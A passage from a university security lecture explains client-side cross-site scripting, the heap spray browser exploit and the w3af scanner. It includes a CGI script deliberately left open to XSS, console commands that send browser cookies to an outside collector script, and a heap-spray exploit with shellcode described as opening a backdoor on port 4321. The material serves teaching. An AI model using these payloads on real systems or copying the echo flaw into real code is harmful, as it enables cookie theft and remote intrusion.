- As with the server side XSS, we again need three parties for the client-side XSS. Client-side XSS takes the form of an attacker getting an innocent victim to click on a carefully crafted URL to a web server. Unbeknownst to the victim, this URL carries a query-string portion with embedded JavaScript code that is designed to send the cookies stored in the client's browser for web server's domain to the attacker's machine. [The URL syntax allows for what is known as a query-string to be appended to the name of the domain provided the two portions are separated by the character '?'. The query string consists of one or more "name=value" pairs. The pairs must be separated by the character '&'. The query strings when present are passed on to an application program at the web server. This is how your search request is conveyed to a search engine like Google.] So the three parties that are involved are the web server, the victim, and the attacker.

- To give a demonstration of this form of XSS, we will modify the

HTML code I showed in Section 28.1.1. As you will recall, that code contained JavaScript for keeping track of the size of wealth through cookie-based storage of information in the browser of a clueless individual who may believe that he would be more secure if his/her wealth-related information was not transmitted back to the server. As you will recall, the name of that earlier file was `WealthTracker.html`.

- In the code that is shown on the next couple of pages, I have converted the earlier `WealthTracker.html` into a CGI script named `WealthTracker.cgi`. It is now a Perl executable file that spits out the HTML that is sent to a browser requesting this page. If you configured the Apache web server on your Ubuntu machine in the manner I indicated in Section 27.1 of Lecture 27, you would need to place this CGI file in the `/usr/lib/cgi-bin` directory of your machine. Subsequently, you can invoke the script from a remote browser with a URL like

```
http://ip_address_of_your_machine/cgi-bin/WealthTracker.cgi
```

  Make sure you get the same response from this CGI script that you got earlier from the `WealthTracker.html` file.

- Here is the code for the CGI. As you can see, the JavaScript portion of the code is the same as what you saw earlier. As to what makes this CGI script a participant in a 3-way cross-site

scripting attack will be discussed after you have scanned through the code.

```
#!/usr/bin/perl -w

##  file:   WealthTracker.cgi
##  Author: Avi Kak  (kak@purdue.edu)
##  Date:   April 18, 2011  (modified: April 18, 2013)

use strict;

print "Content-type: text/html; charset=US-ASCII\n\n";
print "<html>";
print "<head>";
print "<title>A Cookie Based Wealth Tracker</title>";

print <<SCRIPTEND;
<script type = "text/javascript">
    function setCookie( name, value, expires, path, domain, secure ) {
        var today = new Date();
        today.setTime( today.getTime() );
        if ( expires ) {
            expires = expires * 1000 * 60 * 60 * 24;
        }
        var expires_date = new Date( today.getTime() + (expires) );
        document.cookie = name + "=" +escape( value ) +
            ((expires) ? ";expires=" + expires_date.toGMTString() : "") +
            ((path)    ? ";path=" + path : "" ) +
            ((domain)  ? ";domain=" + domain : "" ) +
                ( ( secure ) ? ";secure" : "" );
    }
    function getSetCookie(name, info) {
        var all_cookies = document.cookie.split(';');
        var cooky = '';
        var nam   = '';
        var val   = '';
        for (i=0;i < all_cookies.length;i++) {
            cooky = all_cookies[i].split('=');
            nam = cooky[0].replace(/^\\s+|\\s+\$/g, '');
            if (nam == name) {
                val = unescape( cooky[1].replace(/^\\s+|\\s+\$/g, '') );
                val_parts = val.split('_');
                var howManyVisits = Number(val_parts[0]);
                //alert("old visits number: " + howManyVisits);
                var visit_portion   = val_parts[1];
                var prev_info = val_parts[2];
                if (prev_info) {
```

```
                var diff = info - prev_info;
                var msg = "This is your visit number " +
                                (howManyVisits + 1) + ". " +
                            "Your wealth changed by " + diff;
                alert(msg);
            }
            var newNumVisits = howManyVisits + 1;
            //alert("new visits number: " + newNumVisits);
            var newCookieVal =
                  newNumVisits + '_' + visit_portion + '_' + info;
            setCookie( name, newCookieVal, 15 );
        } else {
            var cookieValue = "1_visits" + '_' + info;
            setCookie( name, cookieValue, 15 );
        }
    }
}
function deleteCookie(name, path, domain) {
    if ( getCookieValueForName( name ) ) {
        document.cookie = name + "=" +
                          ( (path)   ? "; path=" + path : "" ) +
                          ( (domain) ? "; domain "      : "" ) +
                          "; expires=Thu, 01-Jan-70 00:00:01 GMT";
    }
}

function load() {
    window.status="Checking user authentication";
}
function checkEntry() {
    var body = document.getElementsByTagName( "body" );
    var msg = "The information you entered for verification: ";
    var doc_element = document.createElement( "p" );
    var textnode = document.createTextNode( msg );
    doc_element.appendChild( textnode );
    body[0].appendChild( doc_element );
    var nameEntered =  document.forms[0].yourname.value;
    var wealthEntered =
         document.forms["ACKentryform"].sizeofwealth.value;
    createHTML( nameEntered, wealthEntered );
    getSetCookie( nameEntered, wealthEntered );
    return false;
}
function createHTML( ) {
    var body = document.getElementsByTagName( "body" );
    for( var i=0; i < arguments.length; i++ ) {
        var argtext = arguments[i];
        var doc_element = document.createElement( "p" );
        var newtext = "You entered:         " + argtext;
        var textnode = document.createTextNode( newtext );
        doc_element.appendChild( textnode );
```

```
            body[0].appendChild( doc_element );
        }
    }
</script>
SCRIPTEND

print "</head>";

print "<body>";

my $forminfo = '';
$forminfo = $ENV{QUERY_STRING};
$forminfo =~ tr/+/ /;
$forminfo =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg;
print "$forminfo";

print <<FORMEND;
<form id="ACKentryform" action="#" onsubmit="return checkEntry();" method="post">
<p> Enter your name and the size of your wealth in this form:</p>
<br>
<br>
<p>Your Name <em>(Required)</em>: <input id="yournamebox"
                                        name="yourname"
                                        type="text" />
</p>
<p>Size of Your Wealth: <input id="sizeofwealthbox" name="sizeofwealth" type="text" />
</p>
<p><input id="formsubmit" type="submit" /> </p>
</form>
FORMEND

print "</body>";
print "</html>";
```

- The reason that the above web page makes it possible for an attacker to steal the cookies from a victim's browser is the following code fragment that you see in the above file:

```
my $forminfo = '';
$forminfo = $ENV{QUERY_STRING};
$forminfo =~ tr/+/ /;
$forminfo =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg;
print "$forminfo";
```

What this code fragment does is to echo back to the browser a query string if it is found attached to the URL received from the browser. [The syntax `$ENV{QUERY_STRING}` pulls the query string we talked about earlier into the CGI script. Note that when a query string is formed by the browser, all blank spaces are replaced by the '+' character. Similarly, except for the '.' character and the alphanumeric characters, the browser also replaces in the URL all other characters by the % symbol followed by their hex representations. (This is referred to as URL encoding of a string that is meant to be a URL.) The third and the fourth statements shown above are meant to reverse these transformations.]

- This echo-back of the query string is the opening that an attacker needs to mount a cross-site scripting attack on an innocent visitor to the `WealthTracker.cgi` web page.

- The rest of this section gives a simple demonstration how someone may hack into a host and transfer its cookies into another host. Here are the steps:

  STEP 1: Fire up the Apache web server in a laptop that has the CGI script `WealthTracker.cgi` in its `cgi-bin` directory. In what follows, the IP address of this laptop is 10.0.0.11

  STEP 2: On what I will refer to as the **demo laptop**, point its browser to the following URL:

  ```
  http://10.0.0.11/cgi-bin/WealthTracker.cgi
  ```

  Go ahead and interact with the CGI and show how it stores the "wealth" information in its cookies without sending any of that information back to the web server.

STEP 3: Next bring up the JavaScript console in the browser of the **demo laptop** and, in the input bar at the bottom of the console, enter the following two JavaScript commands:

```
var cookie_info =  document.cookie

window.open("https://engineering.purdue.edu/kak/cgi-bin/Collector.cgi?msg=" + cookie_info)
```

which assumes that, as a demo presenter, you have access to a web server at **another site**, which in my case would be web server hosted by the `engineering.purdue.edu` domain at Purdue, where you are hosting a simple CGI script called `Collector.cgi` that simply dumps whatever is supplied through the parameter `msg` in a dump file `collections.txt`.

STEP 4: Now log into your account at the host mentioned in the previous step, which in my case would be my main account at Purdue, and display the contents of the file `collections.txt`. You will see that the the `collections.txt` file at the "3rd party" web server has "magically" acquired the cookie that was created by the brower running on the **demo laptop**.

- Note the three participants in the exploit just demonstrated: (1) The web server at 10.0.0.11, the browser in the laptop that I have referred to as the demo laptop, and the 3rd party web server in the `engineering.purdue.edu` domain. So this is a classic example of a client-side XSS attack.

Back to TOC

28.5 THE HEAP SPRAY EXPLOIT

- This is a heap memory corruption exploit that, in theory and, for unpatched browsers, in practice, can be used for the execution of arbitrary shell code through a client-side scripting language like JavaScript. It involves the following steps:

  – You fill up a significant chunk of memory available to the script engine with what we may refer to as no-op bytes;

  – You place malicious shell-executable code at the end of the long sequence of no-op bytes;

  – You then get the script engine to dereference any one of the memory locations where the no-op bytes are stored;

  – Depending on the scripting language used, the dereferencing operation could cause the script engine to start executing the code at that location and the subsequent locations that also contain no-op bytes; and, finally, the execution would arrive at the malicious code that is at the end of the long sequence of no-op bytes. The long sequence of no-op bytes is commonly referred to as nop-sled.

- Filling up the memory in this fashion with no-op bytes for the most part and with malicious code at the end is referred to as **heap spraying**.

- That it was possible to carry out such a JavaScript-based exploit reliably for the Microsoft IE web browser was demonstrated in a posting by Blazde and SkyLined in 2005. In 2007, the exploit was placed on a firmer ground by Alexander Sotirov in a paper entitled "Heap Feng Shui in JavaScript," that you can download from

  http://www.phreedom.org/research/heap-feng-shui/

- The JavaScript code fragment shown below is based on an implementation of the exploit as provided by Ahmed Obied at

  http://pastebin.com/f7cd5b449

  and on the explanation of the exploit as posted by Andrea Lelli at

  http://www.symantec.com/connect/blogs/

```
<script>

var obj, event_obj;
var payload, nopsled;

nopsled = unescape('%u0a0a%u0a0a');

payload  = '\x29\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x56'
```

```
payload += '\x9f\xdc\xde\x83\xeb\xfc\xe2\xf4\xaa\xf5\x37\x93\xbe\x66\x23\x21'
payload += '\xa9\xff\x57\xb2\x72\xbb\x57\x9b\x6a\x14\xa0\xdb\x2e\x9e\x33\x55'
payload += '\x19\x87\x57\x81\x76\x9e\x37\x97\xdd\xab\x57\xdf\xb8\xae\x1c\x47'
payload += '\xfa\x1b\x1c\xaa\x51\x5e\x16\xd3\x57\x5d\x37\x2a\x6d\xcb\xf8\xf6'
payload += '\x23\x7a\x57\x81\x72\x9e\x37\xb8\xdd\x93\x97\x55\x09\x83\xdd\x35'
payload += '\x55\xb3\x57\x57\x3a\xbb\xc0\xbf\x95\xae\x07\xba\xdd\xdc\xec\x55'
payload += '\x16\x93\x57\xae\x4a\x32\x57\x9e\x5e\xc1\xb4\x50\x18\x91\x30\x8e'
payload += '\xa9\x49\xba\x8d\x30\xf7\xef\xec\x3e\xe8\xaf\xec\x09\xcb\x23\x0e'
payload += '\x3e\x54\x31\x22\x6d\xcf\x23\x08\x09\x16\x39\xb8\xd7\x72\xd4\xdc'
payload += '\x03\xf5\xde\x21\x86\xf7\x05\xd7\xa3\x32\x8b\x21\x80\xcc\x8f\x8d'
payload += '\x05\xdc\x8f\x9d\x05\x60\x0c\xb6\x96\x37\xc2\xdb\x30\xf7\xcc\x3f'
payload += '\x30\xcc\x55\x3f\xc3\xf7\x30\x27\xfc\xff\x8b\x21\x80\xf5\xcc\x8f'
payload += '\x03\x60\x0c\xb8\x3c\xfb\xba\xb6\x35\xf2\xb6\x8e\x0f\xb6\x10\x57'
payload += '\xb1\xf5\x98\x57\xb4\xae\x1c\x2d\xfc\x0a\x55\x23\xa8\xdd\xf1\x20'
payload += '\x14\xb3\x51\xa4\x6e\x34\x77\x75\x3e\xed\x22\x6d\x40\x60\xa9\xf6'
payload += '\xa9\x49\x87\x89\x04\xce\x8d\x8f\x3c\x9e\x8d\x8f\x03\xce\x23\x0e'
payload += '\x3e\x32\x05\xdb\x98\xcc\x23\x08\x3c\x60\x23\xe9\xa9\x4f\xb4\x39'
payload += '\x2f\x59\xa5\x21\x23\x9b\x23\x08\xa9\xe8\x20\x21\x86\xf7\x2c\x54'
payload += '\x52\xc0\x8f\x21\x80\x60\x0c\xde'

function spray_heap() {
    var chunk_size = 0x80000;

    while (nopsled.length < chunk_size)
        nopsled += nopsled;
    nopsled_len = chunk_size - (payload.length + 20);
    nopsled = nopsled.substring(0, nopsled_len);
    heap_chunks = new Array();
    for (var i = 0 ; i < 200 ; i++)
        heap_chunks[i] = nopsled + payload;
    }

// .... more script ...

</script>
```

- Take note of the two strings defined in the script fragment shown above: the `nopsled` string that is initialized to the no-op bytes `0a0a0a0a` and the `payload` that is initialized as shown. The payload sequence of bytes creates a backdoor into the machine on port 4321 and allows an intruder to execute system commands through that port.

- Let's focus on the implementation of the `spray_heap()` function shown above. It first declares a chunk size to be of half a megabyte. Next it fills up chunk with the no-op bytes assigned to the variable `nopsled`. Note that this filling up occurs exponentially fast because the memory locations filled up on one iteration double up for the next iteration of the `while` loop. After that we invoke the `substring()` method defined for the JavaScript string objects to remove that portion of the chunk that is needed to accommodate the payload at the end. Finally, we create an array of 200 such chunks, with each chunk consisting mostly of the no-op bytes followed by the dirty payload.

- With the memory filled up in this manner, the exploit next create an HTML object, such as an image object, followed by the deallocation of the object, followed by attempting to reference the same object nonetheless. We can create a new image object by placing the following `img` element in the `body` of the HTML:

```
<img src="myImage.jpg" id="sp1" onload="ev1(event)">
```

  where `ev1()` is the event listener function that will be called automatically by the script engine when the `onload` event occurs, which happens when the image named in the `src` attribute has finished loading into the browser.

- With regard to the function `ev1()` mentioned above, we present below Ahmed Obied's implementation of this function that is posted at the URL mentioned previously:

```
<script>

// .... prior portions of JavaScript code

function ev1(evt) {
    event_obj = document.createEventObject(evt);
    document.getElementById("sp1").innerHTML = "";          //(A)
    window.setInterval(ev2, 1);
}

function ev2() {
    var data, tmp;

    data = "";
    tmp = unescape("%u0a0a%u0a0a");
    for (var i = 0 ; i < 4 ; i++)
        data += tmp;
    for (i = 0 ; i < obj.length ; i++ ) {
        obj[i].data = data;
    }
    event_obj.srcElement;                                   //(B)
}

//  .... some more JavaScript code
```

  Also shown above is the implementation of the `ev2()` function whose repeated invocations are set by the last statement of `ev1()`. The call to `windows.setInterval(ev2,1)` will cause the function `ev2()` to be invoked repeatedly at intervals of 1 millisecond.

- Critical to the operation of the exploit is the statement in line

(A) above. To explain the syntax in that line, the call `document.getE lementById("sp1")` retrieves that element of the DOM that was given the id "sp1". You will recall that this is the id we gave the HTML `img` element that was created for displaying in the browser the `myImage.jpg` image. By calling `innerHTML = ""` on the retrieved `img` element, we are deallocating the memory that was previously allocated for the `myImage.jpg` object.

- Equally central to the operation of the exploit is the statement that you find at the line labeled (B) above. The call `event_obj.srcElement` in this line tries to retrieve the object that was deallocated in line (A). The property `srcElement` of an event object is supposed to return the HTML object that produced the event in question. It is this attempt at dereferencing of a previously deallocated object that is supposed to set the script engine to start executing the code any point in one of the 200 very long no-op segments created by the `spray_heap()` function.

- The rest of the code you see above the line labeled (B) in the implementation of the `ev2()` along with the initialization portion of exploit shown below:

```
function initialize() {
    obj = new Array();
    event_obj = null;
    for (var i = 0; i < 200 ; i++ )
        obj[i] = document.createElement("COMMENT");
}
```

is supposed to increase the odds that when the object deallocated in line (A) is referenced again in line (B), the script engine will dereference the no-op content of a memory location filled by the `heap_spray()` function and that this dereferencing will actually cause the script engine to start executing the code at that memory location.

- The initialization block of code shown above creates and array of 200 objects and sets each object to a `COMMENT` element in the DOM. Subsequently, the portion of `ev2()` that is before the line labeled (B) attempts to overwrite the memory that the attackers hoped would be the memory previously occupied by the image object that was deallocated in line (A). This memory overwrite is carried out by setting the data portion of each `COMMENT` element to the same no-op sequence of bytes as used by `heap_spray()` for the no-op portion of each of its 200 very long sequence of bytes. [**This is a good place to mention that one of the defenses against the exploit described here is randomization in the memory allocation algorithms.**] Subsequently, when control shifts to the referencing operation in line (B), the script engine tries to access the same memory location where the image object was stored previously, but that presumably now has a no-op byte. Not finding the image object there, the script engine thinks that it might find the object at the memory location whose address corresponds to the content of the no-op byte. Given how most of the memory was filled up by the `heap_spray()` function,

this could set the script engine on the path to executing the no-op bytes until it reaches the malicious code.

- When the vulnerability explained in this section was first exploited, it was referred to as a **zero-day attack**. By a zero-day attack is meant an exploitation in which a vulnerability is taken advantage of before the folks responsible for the software find out about it or before they can deliver a patch for it.

- Another name for the browser vulnerability described in this section is "HTML object memory corruption vulnerability."

Back to TOC

28.6 THE w3af FRAMEWORK FOR TESTING A WEB APPLICATION FOR ITS VULNERABILITIES

- It is probably the best tool out there for an exhaustive testing of a web application for all kinds of vulnerabilities. You can download it into your Ubuntu machine through your Synaptic package manager.

- A command line invocation of `w3af` will bring up an easy-to-use GUI interface. For starters, you may wish to use the `OWASP_TOP10` as your profile for the testing of a web page. Now enter the URL of a web page in the target window and let it run. [It is through this testing I discovered that my `WealthTracker.cgi` script shown earlier in this lecture suffered from the "Source Code Exposure" vulnerability.] The `w3af` tool does its work by sending various sorts of inputs to the web server to be processed by the scripts in your web page — assuming that your web page contains scripts for form processing, dynamic content creation, etc. The tool then assess the response strings received back from the server. These response strings may be error reports or status reports.

- The `w3af` tool also comes with a user guide file named `w3af-users -guide.pdf` that you will find useful. The

framework itself comes with 130 plugins meant for identifying SQL injection vulnerabilities, cross-site scripting vulnerabilities, vulnerabilities created by remote file inclusion, etc.

- Folks who are working on the `w3af` project say that this framework is to the testing of web applications what the Metasploit framework is to the testing of networks in general. We talked about the Metasploit framework in Section 23.5 of Lecture 23.